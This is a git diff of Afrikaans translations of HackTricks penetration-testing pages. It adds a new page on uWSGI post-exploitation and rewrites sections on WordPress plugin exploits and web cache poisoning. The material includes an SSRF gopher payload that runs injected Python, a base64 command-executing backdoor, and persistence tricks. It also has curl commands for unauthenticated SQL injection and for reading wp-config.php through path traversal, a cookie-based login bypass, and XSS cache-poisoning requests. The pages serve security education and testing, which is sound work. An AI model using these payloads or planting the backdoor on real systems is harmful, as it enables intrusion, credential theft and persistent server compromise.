-Op kwesbare weergawes verwyder dit die huidige rolle en voeg die gestoorde oorspronklike rolle weer by (bv. `administrator`), wat effektief bevoegdhede eskaleer.
+Op kwesbare builds verwyder dit die huidige rolle en voeg die gestoorde oorspronklike rolle weer by (bv. `administrator`), wat sodoende bevoegdhede verhoog.
 
 Detection checklist
 
-- Kyk vir rol-wisselende funksies wat “oorspronklike rolle” in gebruikersmeta bewaar (bv. `_asenha_view_admin_as_original_roles`).
+- Kyk vir rol-wissel-funksies wat “oorspronklike rolle” in user meta bewaar (bv. `_asenha_view_admin_as_original_roles`).
 - Identifiseer reset/restore-paaie wat:
-- Lees gebruikersname vanaf `$_REQUEST` / `$_GET` / `$_POST`.
+- Lees gebruikersname uit `$_REQUEST` / `$_GET` / `$_POST`.
 - Wysig rolle via `add_role()` / `remove_role()` sonder `current_user_can()` en `wp_verify_nonce()` / `check_admin_referer()`.
-- Verleen magtiging gebaseer op 'n plugin-opsie-array (bv. `viewing_admin_as_role_are`) in plaas van die akteur se bevoegdhede.
+- Gemagtig op grond van 'n plugin-opsie-array (bv. `viewing_admin_as_role_are`) eerder as die akteur se bevoegdhede.
 
 Hardening
 
-- Verplig bevoegdheidskontroles op elke staat-wysigende tak (bv. `current_user_can('manage_options')` of strenger).
-- Vereis nonces vir alle rol-/permissieveranderings en verifieer hulle: `check_admin_referer()` / `wp_verify_nonce()`.
-- Moet nooit versoek-verskafde gebruikersname vertrou nie; bepaal die teikengebruiker aan die bedienerkant gebaseer op die geverifieerde akteur en 'n eksplisiete beleid.
-- Maak die toestand van “oorspronklike rolle” ongeldig tydens profiel-/rol-opdaterings om verouderde hoë-bevoegdheidsherstel te voorkom:
+- Dwing bevoegdheidskontroles af op elke tak wat toestand verander (bv. `current_user_can('manage_options')` of strenger).
+- Vereis nonces vir alle rol-/toestemmingswysigings en verifieer hulle: `check_admin_referer()` / `wp_verify_nonce()`.
+- Vertrou nooit versoek-verskafde gebruikersname nie; los die teikengebruiker aan die bedienerkant op gebaseer op die geverifieerde akteur en 'n duidelike beleid.
+- Maak die “oorspronklike rolle”-toestand ongeldig by profiel-/rol-opdaterings om te voorkom dat vervalde hoë-privilegie-herstel plaasvind:
 ```php
 add_action( 'profile_update', function( $user_id ) {
 delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
 }, 10, 1 );
 ```
-- Oorweeg om slegs minimale staat te stoor en time-limited, capability-guarded tokens te gebruik vir tydelike role switches.
+- Oorweeg om minimale state te stoor en tydbeperkte, capability-guarded tokens te gebruik vir tydelike rolwisselings.
 
 ---
 
 ### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
 
-Sommige plugins koppel user-switching helpers aan die publieke `init` hook en bepaal identiteit uit 'n client-controlled cookie. As die kode `wp_set_auth_cookie()` aanroep sonder om authentication, capability en 'n geldige nonce te verifieer, kan enige unauthenticated besoeker dwing om as 'n willekeurige user ID aan te meld.
+Sommige plugins koppel user-switching helpers aan die publieke `init` hook en bepaal identiteit uit 'n kliënt-beheerde cookie. As die kode `wp_set_auth_cookie()` aanroep sonder om authentication, capability en 'n geldige nonce te verifieer, kan enige ongeauthentiseerde besoeker dwing om as 'n arbitrêre user ID aan te meld.
 
 Tipiese kwesbare patroon (vereenvoudig uit Service Finder Bookings ≤ 6.1):
 ```php
@@ -589,13 +588,13 @@ wp_die('Original user not found.');
 wp_die('No original user found to switch back to.');
 }
 ```
-Waarom dit uitgebuit kan word
+Waarom dit uitbuitbaar is
 
-- Publieke `init` hook maak die handler bereikbaar vir nie-geauthentiseerde gebruikers (geen `is_user_logged_in()` beskerming nie).
-- Identiteit word afgelei uit 'n deur die kliënt veranderbare cookie (`original_user_id`).
-- Direkte oproep na `wp_set_auth_cookie($uid)` teken die versoeker in as daardie gebruiker sonder enige capability/nonce checks.
+- Publieke `init` hook maak die handler bereikbaar vir nie-geauthentiseerde gebruikers (geen `is_user_logged_in()` beskerming).
+- Identiteit word afgelei uit 'n kliënt-wysigbare cookie (`original_user_id`).
+- Direkte oproep na `wp_set_auth_cookie($uid)` teken die versoeker in as daardie gebruiker sonder enige capability/nonce kontroles.
 
-Uitbuiting (nie-geauthentiseerd)
+Eksploitasie (unauthenticated)
 ```http
 GET /?switch_back=1 HTTP/1.1
 Host: victim.example
@@ -607,30 +606,30 @@ Connection: close
 
 ### WAF-oorwegings vir WordPress/plugin CVEs
 
-Generiese edge/server WAFs is afgestem op breë patrone (SQLi, XSS, LFI). Baie hoog‑impak WordPress/plugin foute is toepassingsspesifieke logika/auth-bugs wat soos onskadelike verkeer lyk tensy die engine WordPress-roetes en plugin-semantiek verstaan.
+Algemene edge/server WAFs is ingestel op breë patrone (SQLi, XSS, LFI). Baie hoë-impak WordPress/plugin kwesbaarhede is toepassingspesifieke logika/auth foute wat soos onskadelike verkeer lyk tensy die engine WordPress-roetes en plugin-semantiek verstaan.
 
 Aanvalsnotas
 
-- Teiken plugin-spesifieke endpoints met skoon payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
-- Gebruik eers unauth-paaie (AJAX `nopriv`, REST met permissiewe `permission_callback`, openbare shortcodes). Standaard payloads slaag dikwels sonder obfuskering.
-- Tipiese hoog-impak gevalle: privilege escalation (gebreekte toegangskontrole), arbitrêre lêer oplaai/aflaai, LFI, open redirect.
+- Rig op plugin-spesifieke endpoints met skoon payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
+- Gebruik eers unauth paths (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads slaag dikwels sonder obfuscation.
+- Tipiese hoë-impak gevalle: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
 
 Verdedigingsnotas
 
-- Moet nie staatmaak op generiese WAF-handtekeninge om plugin CVEs te beskerm nie. Implementeer toepassingslaag, kwesbaarheid-spesifieke virtuele pleisters of werk vinnig op.
-- Verkies positiewe sekuriteitskontroles in kode (capabilities, nonces, streng invoervalidatie) bo negatiewe regex-filters.
+- Moet nie staatmaak op generiese WAF-signatures om plugin CVEs te beskerm nie. Implementeer application-layer, vulnerability-specific virtual patches of werk vinnig op.
+- Gee voorkeur aan positive-security checks in code (capabilities, nonces, strict input validation) bo negatiewe regex filters.
 
 ## WordPress-beskerming
 
 ### Gereelde opdaterings
 
-Maak seker WordPress, plugins, en themes is op datum. Bevestig ook dat geoutomatiseerde opdatering in wp-config.php aangeskakel is:
+Maak seker dat WordPress, plugins en temas op datum is. Bevestig ook dat geoutomatiseerde opdaterings in `wp-config.php` geaktiveer is:
 ```bash
 define( 'WP_AUTO_UPDATE_CORE', true );
 add_filter( 'auto_update_plugin', '__return_true' );
 add_filter( 'auto_update_theme', '__return_true' );
 ```
-Installeer ook slegs betroubare WordPress-plugins en -themes.
+Ook, **installeer slegs betroubare WordPress plugins en themes**.
 
 ### Sekuriteits-plugins
 
@@ -640,14 +639,13 @@ Installeer ook slegs betroubare WordPress-plugins en -themes.
 
 ### **Ander Aanbevelings**
 
-- Verwyder die standaard **admin** gebruiker
+- Verwyder die verstek **admin** gebruiker
 - Gebruik **sterk wagwoorde** en **2FA**
-- **Hersien** gereeld gebruikers se **toestemmings**
-- **Beperk aanmeldpogings** om Brute Force attacks te voorkom
-- Hernoem die **`wp-admin.php`** lêer en laat toegang slegs intern of vanaf sekere IP-adresse toe.
+- Hersien periodiek gebruikers se **toestemmings**
+- **Beperk aanmeldpogings** om Brute Force-aanvalle te voorkom
+- Hernoem die **`wp-admin.php`** lêer en laat toegang slegs intern of vanaf sekere IP-adresse.
 
-
-### Nie-geauthentiseerde SQL Injection via onvoldoende validasie (WP Job Portal <= 2.3.2)
+### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
 
 Die WP Job Portal recruitment plugin het 'n **savecategory** taak blootgestel wat uiteindelik die volgende kwesbare kode binne `modules/category/model.php::validateFormData()` uitvoer:
 ```php
@@ -659,19 +657,19 @@ $inquery .= " WHERE parentid = $category ";   // <-- direct concat ✗
 $query  = "SELECT max(ordering)+1 AS maxordering FROM "
 . wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
 ```
-Issues introduced by this snippet:
+Issues geïntroduseer deur hierdie fragment:
 
-1. **Ongesanitiseerde gebruikersinvoer** – `parentid` kom direk van die HTTP-versoek af.
+1. **Ongefilterde gebruikersinvoer** – `parentid` kom direk uit die HTTP-versoek.
 2. **String-konkatenasie binne die WHERE-clausule** – geen `is_numeric()` / `esc_sql()` / prepared statement.
-3. **Nie-geauthentiseerde bereikbaarheid** – alhoewel die aksie uitgevoer word via `admin-post.php`, is die enigste kontrole in plek 'n **CSRF nonce** (`wp_verify_nonce()`), wat enige besoeker kan bekom vanaf 'n publieke bladsy wat die shortcode `[wpjobportal_my_resumes]` ingebed het.
+3. **Nie-geauthentiseerde bereikbaarheid** – alhoewel die aksie deur `admin-post.php` uitgevoer word, is die enigste kontrole in plek 'n **CSRF nonce** (`wp_verify_nonce()`), wat enige besoeker kan kry vanaf 'n publieke bladsy wat die shortcode `[wpjobportal_my_resumes]` insluit.
 
-#### Eksploitasie
+#### Uitbuiting
 
 1. Kry 'n vars nonce:
 ```bash
 curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
 ```
-2. Injiseer arbitrêre SQL deur `parentid` te misbruik:
+2. Injecteer arbitrêre SQL deur `parentid` te misbruik:
 ```bash
 curl -X POST https://victim.com/wp-admin/admin-post.php \
 -d 'task=savecategory' \
@@ -679,20 +677,20 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
 -d 'parentid=0 OR 1=1-- -' \
 -d 'cat_title=pwn' -d 'id='
 ```
-Die reaksie openbaar die resultaat van die ingespuite query of verander die databasis, wat SQLi bewys.
+Die respons openbaar die resultaat van die ingespuitde navraag of verander die databasis, wat SQLi bewys.
 
 
 ### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
 
-Nog 'n taak, **downloadcustomfile**, het besoekers toegelaat om **enige lêer op skyf** af te laai via path traversal. Die kwesbare sink is geleë in `modules/customfield/model.php::downloadCustomUploadedFile()`:
+Another task, **downloadcustomfile**, allowed visitors to download **any file on disk** via path traversal.  The vulnerable sink is located in `modules/customfield/model.php::downloadCustomUploadedFile()`:
 ```php
 $file = $path . '/' . $file_name;
 ...
 echo $wp_filesystem->get_contents($file); // raw file output
 ```
-`$file_name` is deur die aanvaller beheer en saamgevoeg **without sanitisation**. Weer, die enigste hindernis is 'n **CSRF nonce** wat van die CV-bladsy afgehaal kan word.
+`$file_name` is deur die aanvaller beheer en aaneengeskakel **sonder sanitisering**. Opnuut is die enigste hek 'n **CSRF nonce** wat vanaf die resume-bladsy verkry kan word.
 
-#### Exploitation
+#### Uitbuiting
 ```bash
 curl -G https://victim.com/wp-admin/admin-post.php \
 --data-urlencode 'task=downloadcustomfile' \
@@ -701,7 +699,7 @@ curl -G https://victim.com/wp-admin/admin-post.php \
 --data-urlencode 'entity_id=1' \
 --data-urlencode 'file_name=../../../wp-config.php'
 ```
-Die server reageer met die inhoud van `wp-config.php`, leaking DB credentials and auth keys.
+Die bediener reageer met die inhoud van `wp-config.php`, leaking DB credentials and auth keys.
 
 ## Verwysings
 
diff --git a/src/network-services-pentesting/pentesting-web/wsgi.md b/src/network-services-pentesting/pentesting-web/wsgi.md
new file mode 100644
index 000000000..1a8e4497f
--- /dev/null
+++ b/src/network-services-pentesting/pentesting-web/wsgi.md
@@ -0,0 +1,169 @@
+# WSGI Post-Exploitation Tricks
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## WSGI Oorsig
+
+Web Server Gateway Interface (WSGI) is 'n spesifikasie wat beskryf hoe 'n webbediener met webtoepassings kommunikeer, en hoe webtoepassings aan mekaar gekoppel kan word om 'n versoek te verwerk. uWSGI is een van die gewildste WSGI-bedieners en word gereeld gebruik om Python-webtoepassings te bedien.
+
+## uWSGI Magic Variables Exploitation
+
+uWSGI verskaf spesiale "magic variables" wat gebruik kan word om die bediener se gedrag dinamies te konfigureer. Hierdie variables kan deur HTTP headers gestel word en kan tot ernstige sekuriteitskwesbaarhede lei as dit nie behoorlik gevalideer word nie.
+
+### Key Exploitable Variables
+
+#### `UWSGI_FILE` - Arbitrary File Execution
+```
+uwsgi_param UWSGI_FILE /path/to/python/file.py;
+```
+Hierdie veranderlike laat toe om willekeurige Python-lêers as WSGI-toepassings te laai en uit te voer. As 'n attacker hierdie parameter kan beheer, kan hulle Remote Code Execution (RCE) bereik.
+
+#### `UWSGI_SCRIPT` - Skriplading
+```
+uwsgi_param UWSGI_SCRIPT module.path:callable;
+uwsgi_param SCRIPT_NAME /endpoint;
+```
+Laai 'n gespesifiseerde skrip as 'n nuwe toepassing. In kombinasie met lêeroplaai of skryfvermoëns, kan dit tot RCE lei.
+
+#### `UWSGI_MODULE` en `UWSGI_CALLABLE` - Dynamic Module Loading
+```
+uwsgi_param UWSGI_MODULE malicious.module;
+uwsgi_param UWSGI_CALLABLE evil_function;
+uwsgi_param SCRIPT_NAME /backdoor;
+```
+Hierdie parameters laat toe om enige Python-modules te laai en spesifieke funksies daarin aan te roep.
+
+#### `UWSGI_SETENV` - Manipulasie van Omgewingsveranderlikes
+```
+uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;
+```
+Kan gebruik word om omgewingsveranderlikes te wysig, wat moontlik die toepassing se gedrag beïnvloed of kwaadwillige konfigurasie laai.
+
+#### `UWSGI_PYHOME` - Python Omgewingsmanipulasie
+```
+uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;
+```
+Verander die Python virtual environment, wat moontlik skadelike pakkette of ander Python-interpreters kan laai.
+
+#### `UWSGI_CHDIR` - Directory Traversal
+```
+uwsgi_param UWSGI_CHDIR /etc/;
+```
+Verander die werkende gids voordat versoeke verwerk word, wat gebruik kan word vir path traversal-aanvalle.
+
+## SSRF + Gopher na
+
+### Die Aanvalsvektor
+
+Wanneer uWSGI via SSRF (Server-Side Request Forgery) toeganklik is, kan aanvallers met die interne uWSGI socket interaksie hê om magic variables uit te buit. Dit is veral gevaarlik wanneer:
+
+1. Die toepassing het SSRF kwesbaarhede
+2. uWSGI loop op 'n interne poort/socket
+3. Die toepassing valideer nie magic variables behoorlik nie
+
+uWSGI is toeganklik as gevolg van SSRF omdat die konfigurasielêer `uwsgi.ini` die volgende bevat: `socket = 127.0.0.1:5000`, wat dit vanaf die webtoepassing deur SSRF toeganklik maak.
+
+### Uitbuitingsvoorbeeld
+
+#### Stap 1: Skep kwaadwillige payload
+Eerstens, injecteer Python-kode in 'n lêer wat deur die bediener toeganklik is (lêer skryf binne die bediener, die uitbreiding van die lêer maak nie saak nie):
+```python
+# Payload injected into a JSON profile file
+import os
+os.system("/readflag > /app/profiles/result.json")
+```
+#### Stap 2: Skep 'n uWSGI-protokolversoek
+Gebruik die Gopher-protokol om rou uWSGI-pakkette te stuur:
+```
+gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json
+```
+Hierdie payload:
+- Verbind met uWSGI op poort 5000
+- Stel `UWSGI_FILE` in om na die kwaadwillige lêer te wys
+- Dwing uWSGI om die Python-kode te laai en uit te voer
+
+### uWSGI Protokolstruktuur
+
+Die uWSGI-protokol gebruik 'n binêre formaat waar:
+- Veranderlikes word gekodeer as stringe met 'n lengtevoorvoegsel
+- Elke veranderlike het: `[name_length][name][value_length][value]`
+- Die pakket begin met 'n header wat die totale grootte bevat
+
+## Post-Exploitation Techniques
+
+### 1. Persistent Backdoors
+
+#### File-based Backdoor
+```python
+# backdoor.py
+import subprocess
+import base64
+
+def application(environ, start_response):
+cmd = environ.get('HTTP_X_CMD', '')
+if cmd:
+result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
+response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
+else:
+response = "Backdoor active"
+
+start_response('200 OK', [('Content-Type', 'text/plain')])
+return [response.encode()]
+```
+Gebruik dan `UWSGI_FILE` om hierdie backdoor te laai:
+```
+uwsgi_param UWSGI_FILE /tmp/backdoor.py;
+uwsgi_param SCRIPT_NAME /admin;
+```
+#### Omgewingsgebaseerde persistensie
+```
+uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages;
+```
+### 2. Inligtingsvrystelling
+
+#### Uitlees van omgewingsveranderlikes
+```python
+# env_dump.py
+import os
+import json
+
+def application(environ, start_response):
+env_data = {
+'os_environ': dict(os.environ),
+'wsgi_environ': dict(environ)
+}
+
+start_response('200 OK', [('Content-Type', 'application/json')])
+return [json.dumps(env_data, indent=2).encode()]
+```
+#### Lêerstelseltoegang
+Gebruik `UWSGI_CHDIR` in kombinasie met lêerdiens om toegang tot sensitiewe lêers te kry:
+```
+uwsgi_param UWSGI_CHDIR /etc/;
+uwsgi_param UWSGI_FILE /app/file_server.py;
+```
+### 3. Privilege Escalation
+
+#### Socket Manipulation
+As uWSGI met elevated privileges loop, attackers kan socket permissions manipuleer:
+```
+uwsgi_param UWSGI_CHDIR /tmp;
+uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data;
+```
+#### Konfigurasie Oorskrywing
+```python
+# malicious_config.py
+import os
+
+# Override uWSGI configuration
+os.environ['UWSGI_MASTER'] = '1'
+os.environ['UWSGI_PROCESSES'] = '1'
+os.environ['UWSGI_CHEAPER'] = '1'
+```
+## Verwysings
+
+- [uWSGI Magic Variables Documentation](https://uwsgi-docs.readthedocs.io/en/latest/Vars.html)
+- [IOI SaveData CTF Writeup](https://bugculture.io/writeups/web/ioi-savedata)
+- [uWSGI Security Best Practices](https://uwsgi-docs.readthedocs.io/en/latest/Security.html)
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md
index 821b7d395..fd1dc081e 100644
--- a/src/pentesting-web/cache-deception/README.md
+++ b/src/pentesting-web/cache-deception/README.md
@@ -4,73 +4,72 @@
 
 ## Die verskil
 
-> **Wat is die verskil tussen web cache poisoning en web cache deception?**
+> **What is the difference between web cache poisoning and web cache deception?**
 >
-> - In **web cache poisoning**, die aanvaller veroorsaak dat die toepassing skadelike inhoud in die cache stoor, en hierdie inhoud word uit die cache aan ander gebruikers van die toepassing bedien.
-> - In **web cache deception**, die aanvaller laat die toepassing sensitiewe inhoud van 'n ander gebruiker in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache terug.
+> - In **web cache poisoning**, die attacker veroorsaak dat die application sekere malicious content in die cache stoor, en hierdie content word vanaf die cache bedien aan ander application users.
+> - In **web cache deception**, die attacker veroorsaak dat die application sekere sensitiewe inhoud van ’n ander gebruiker in die cache stoor, en die attacker haal dan hierdie inhoud uit die cache.
 
 ## Cache Poisoning
 
-Cache poisoning is gemik op die manipulasie van die client-side cache om kliënte te dwing om hulpbronne te laai wat onverwag, gedeeltelik, of onder die beheer van 'n aanvaller is. Die omvang van die impak hang af van die gewildheid van die geraakte bladsy, aangesien die besoedelde reaksie uitsluitlik aan gebruikers wat die bladsy besoek gedurende die tydperk van cache-besoedeling bedien word.
+Cache poisoning is gemik op die manipulasie van die client-side cache om clients te dwing om resources te laai wat onverwags, gedeeltelik, of onder die beheer van ’n attacker is. Die omvang van die impak hang af van die gewildheid van die geaffekteerde page, aangesien die besmette response slegs aan users bedien word wat die page besoek gedurende die tydperk van cache kontaminasie.
 
-Die uitvoering van 'n cache poisoning-aanval behels verskeie stappe:
+Die uitvoering van ’n cache poisoning assault behels verskeie stappe:
 
-1. **Identification of Unkeyed Inputs**: Dit is parameters wat, alhoewel nie vereis vir 'n versoek om in die cache gestoor te word nie, die reaksie wat deur die bediener teruggestuur word kan verander. Om hierdie insette te identifiseer is noodsaaklik aangesien hulle uitgebuit kan word om die cache te manipuleer.
-2. **Exploitation of the Unkeyed Inputs**: Nadat die unkeyed inputs geïdentifiseer is, behels die volgende stap om uit te vind hoe om hierdie parameters misbruik te maak om die bediener se reaksie op 'n wyse te verander wat tot voordeel van die aanvaller is.
-3. **Ensuring the Poisoned Response is Cached**: Die finale stap is om te verseker dat die gemanipuleerde reaksie in die cache gestoor word. Sodoende sal enige gebruiker wat die geraakte bladsy besoek terwyl die cache besoedel is, die besoedelde reaksie ontvang.
+1. **Identification of Unkeyed Inputs**: Dit is parameters wat, alhoewel nie vereis vir ’n request om gecached te word nie, die response wat die server teruggee kan verander. Identifisering van hierdie inputs is krities aangesien hulle uitgebuit kan word om die cache te manipuleer.
+2. **Exploitation of the Unkeyed Inputs**: Nadat die unkeyed inputs geïdentifiseer is, behels die volgende stap om uit te werk hoe om hierdie parameters onbedoeld te misbruik om die server se response op ’n manier te wysig wat die attacker bevoordeel.
+3. **Ensuring the Poisoned Response is Cached**: Die finale stap is om te verseker dat die gemanipuleerde response in die cache gestoor word. Op hierdie manier sal enige user wat die geaffekteerde page besoek terwyl die cache besmet is die beskadigde response ontvang.
 
-### Ontdekking: Kontroleer HTTP headers
+### Ontdekking: Check HTTP headers
 
-Gewoonlik, wanneer 'n reaksie in die cache gestoor is, sal daar 'n **header aandui** dat dit so is; jy kan kyk na watter headers jy aandag moet gee in hierdie pos: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
+Gewoonlik, wanneer ’n response **stored in the cache** is daar ’n **header wat dit aandui**; jy kan kyk watter headers aandag verdien in hierdie artikel: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
 
-### Ontdekking: Caching foutkoade
+### Ontdekking: Caching error codes
 
-As jy dink dat die reaksie in 'n cache gestoor word, kan jy probeer om **versoeke met 'n slegte header te stuur**, wat met 'n **statuskode 400** behoort te reageer. Probeer dan die versoek normaal benader en as die **reaksie 'n 400 statuskode** is, weet jy dat dit kwesbaar is (en jy kan selfs 'n DoS uitvoer).
+As jy dink dat die response in ’n cache gestoor word, kan jy probeer om **requests with a bad header** te stuur, wat normaalweg met ’n **status code 400** beantwoord behoort te word. Probeer dan toegang tot die request normaalweg en as die **response a 400 status code** is, weet jy dit is kwesbaar (en jy kan selfs ’n DoS uitvoer).
 
 Jy kan meer opsies vind in:
 
-
 {{#ref}}
 cache-poisoning-to-dos.md
 {{#endref}}
 
-Let wel dat **soms hierdie tipes statuskodes nie in die cache gestoor word nie**, so hierdie toets dalk nie betroubaar is nie.
+Let egter daarop dat **soms hierdie tipes status codes nie gecached word nie**, so hierdie toets mag nie betroubaar wees nie.
 
-### Ontdekking: Identifiseer en evalueer unkeyed inputs
+### Ontdekking: Identify and evaluate unkeyed inputs
 
-Jy kan [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) gebruik om **parameters en headers te brute-force** wat moontlik die **reaksie van die bladsy verander**. Byvoorbeeld, 'n bladsy kan die header `X-Forwarded-For` gebruik om aan te dui dat die kliënt die script van daar moet laai:
+Jy kan [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) gebruik om **brute-force parameters and headers** te doen wat moontlik die **response of the page** verander. Byvoorbeeld, ’n page kan die header `X-Forwarded-For` gebruik om die client aan te dui om die script daarvandaan te laai:
 ```html
 <script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
 ```
-### Elicit a harmful response from the back-end server
+### Lok 'n skadelike reaksie uit die back-end bediener
 
-Sodra die parameter/header geïdentifiseer is, kyk hoe dit **gesanitiseer** word en **waar** dit **weerspieël** of die response deur die header beïnvloed. Kan jy dit tog misbruik (uitvoer 'n XSS of 'n JS-kode wat jy beheer laai? 'n DoS uitvoer?...)
+Met die parameter/header geïdentifiseer, kyk hoe dit **gesanitiseer** word en **waar** dit in die reaksie vanaf die header **weerspieël** of die reaksie beïnvloed. Kan jy dit op enige wyse misbruik (voer 'n XSS uit of laai 'n JS-kode wat jy beheer? voer 'n DoS uit?...)
 
-### Get the response cached
+### Kry die reaksie in die cache
 
-Sodra jy die **bladsy** geïdentifiseer het wat misbruik kan word, watter **parameter**/**header** om te gebruik en **hoe** om dit te **misbruik**, moet jy die bladsy in die cache kry. Afhangend van die resource wat jy probeer kry in die cache kan dit 'n rukkie neem; jy mag vir verskeie sekondes moet probeer.
+Sodra jy die **bladsy** wat misbruik kan word, die **parameter**/**header** om te gebruik en **hoe** om dit te **misbruik** geïdentifiseer het, moet jy die bladsy in die cache kry. Afhangend van die hulpbron wat jy probeer in die cache kry, kan dit 'n rukkie neem — jy mag vir 'n paar sekondes moet probeer.
 
-Die header **`X-Cache`** in die response kan baie nuttig wees aangesien dit die waarde **`miss`** kan hê wanneer die versoek nie in die cache was nie en die waarde **`hit`** wanneer dit in die cache is.\
-Die header **`Cache-Control`** is ook interessant om te weet of 'n resource in die cache is en wanneer dit die volgende keer weer in die cache sal gaan: `Cache-Control: public, max-age=1800`
+Die header **`X-Cache`** in die reaksie kan baie nuttig wees omdat dit die waarde **`miss`** kan hê wanneer die versoek nie in die cache was nie en die waarde **`hit`** wanneer dit in die cache is.\
+Die header **`Cache-Control`** is ook belangrik om te weet of 'n hulpbron in die cache gehou word en wanneer dit volgende keer weer in die cache geplaas sal word: `Cache-Control: public, max-age=1800`
 
-Nog 'n interessante header is **`Vary`**. Hierdie header word dikwels gebruik om **aanvullende headers aan te dui** wat as **deel van die cache key** behandel word, selfs al is hulle normaalweg nie gekeyed nie. Daarom, as die gebruiker die `User-Agent` van die teiken ken, kan hy die cache vir gebruikers wat daardie spesifieke `User-Agent` gebruik, poison.
+Nog 'n interessante header is **`Vary`**. Hierdie header word dikwels gebruik om **bykomende headers aan te dui** wat as **deel van die cache-sleutel** beskou word, selfs al is hulle normaalweg nie gesleutel nie. Daarom, as die gebruiker die `User-Agent` van die victim wat hy teiken ken, kan hy poison the cache vir gebruikers wat daardie spesifieke `User-Agent` gebruik.
 
-Nog 'n header wat met die cache verband hou is **`Age`**. Dit definieer die tyd in sekondes wat die objek in die proxy cache was.
+Nog 'n header verwant aan die cache is **`Age`**. Dit gee die tyd in sekondes wat die objek al in die proxy-cache was.
 
-Wanneer jy 'n versoek in die cache plaas, wees **versigtig met die headers wat jy gebruik** omdat sommige daarvan onverwags as **keyed** gebruik kan word en die **slagoffer dieselfde header sal moet gebruik**. Toets altyd 'n Cache Poisoning met **verskillende browsers** om te kyk of dit werk.
+Wanneer jy 'n versoek in die cache plaas, wees **versigtig met watter headers jy gebruik**, want sommige van hulle kan **onverwag gebruik** word as **keyed** en die **victim sal dieselfde header moet gebruik**. Toets altyd 'n Cache Poisoning met **verskillende browsers** om te kyk of dit werk.
 
 ## Voorbeelde van uitbuiting
 
 ### Maklikste voorbeeld
 
-'n header soos `X-Forwarded-For` word ongesanitiseerd in die response weerspieël.\
-Jy kan 'n basiese XSS payload stuur en die cache poison sodat almal wat toegang tot die bladsy kry XSSed sal word:
+'n header soos `X-Forwarded-For` word ongefiltreerd in die reaksie weerspieël.\
+Jy kan 'n basiese XSS payload stuur en poison the cache sodat almal wat die bladsy besoek XSSed sal word:
 ```html
 GET /en?region=uk HTTP/1.1
 Host: innocent-website.com
 X-Forwarded-Host: a."><script>alert(1)</script>"
 ```
-_Note that this will poison a request to `/en?region=uk` not to `/en`_
+_Let wel dat dit poison 'n versoek na `/en?region=uk` sal wees, nie na `/en` nie_
 
 ### Cache poisoning to DoS
 
@@ -83,21 +82,21 @@ cache-poisoning-to-dos.md
 
 In **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** word die volgende eenvoudige scenario verduidelik:
 
-- Die CDN sal enigiets onder `/share/` cache
-- Die CDN sal NIE `%2F..%2F` decodeer of normaliseer nie, daarom kan dit gebruik word as **path traversal om toegang te kry tot ander sensitiewe lokasies wat cached sal word** soos `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
-- Die web server SAL `%2F..%2F` decodeer en normaliseer, en sal antwoord met `/api/auth/session`, wat **die auth token bevat**.
+- Die CDN sal cache alles onder `/share/`
+- Die CDN sal NIE `%2F..%2F` decode of normaliseer nie, daarom kan dit gebruik word as **path traversal to access other sensitive locations that will be cached** soos `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
+- Die web server sal WEL `%2F..%2F` decode en normaliseer, en sal reageer met `/api/auth/session`, wat die auth token bevat.
 
 ### Using web cache poisoning to exploit cookie-handling vulnerabilities
 
-Cookies kan ook in die respons van 'n bladsy weerspieël word. As jy dit byvoorbeeld kan misbruik om 'n XSS te veroorsaak, kan jy XSS exploit in verskeie clients wat die kwaadwillige cache-respons laai.
+Cookies kan ook in die reaksie van 'n bladsy weerspieël word. As jy dit byvoorbeeld kan misbruik om 'n XSS te veroorsaak, kan jy XSS in verskeie kliënte uitbuit wat die kwaadwillige cache-reaksie laai.
 ```html
 GET / HTTP/1.1
 Host: vulnerable.com
 Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
 ```
-Let wel: as die kwesbare cookie wyd deur gebruikers gebruik word, sal normale versoeke die cache skoonmaak.
+Let daarop dat as die kwesbare cookie baie deur gebruikers gebruik word, gewone versoeke die cache sal skoonmaak.
 
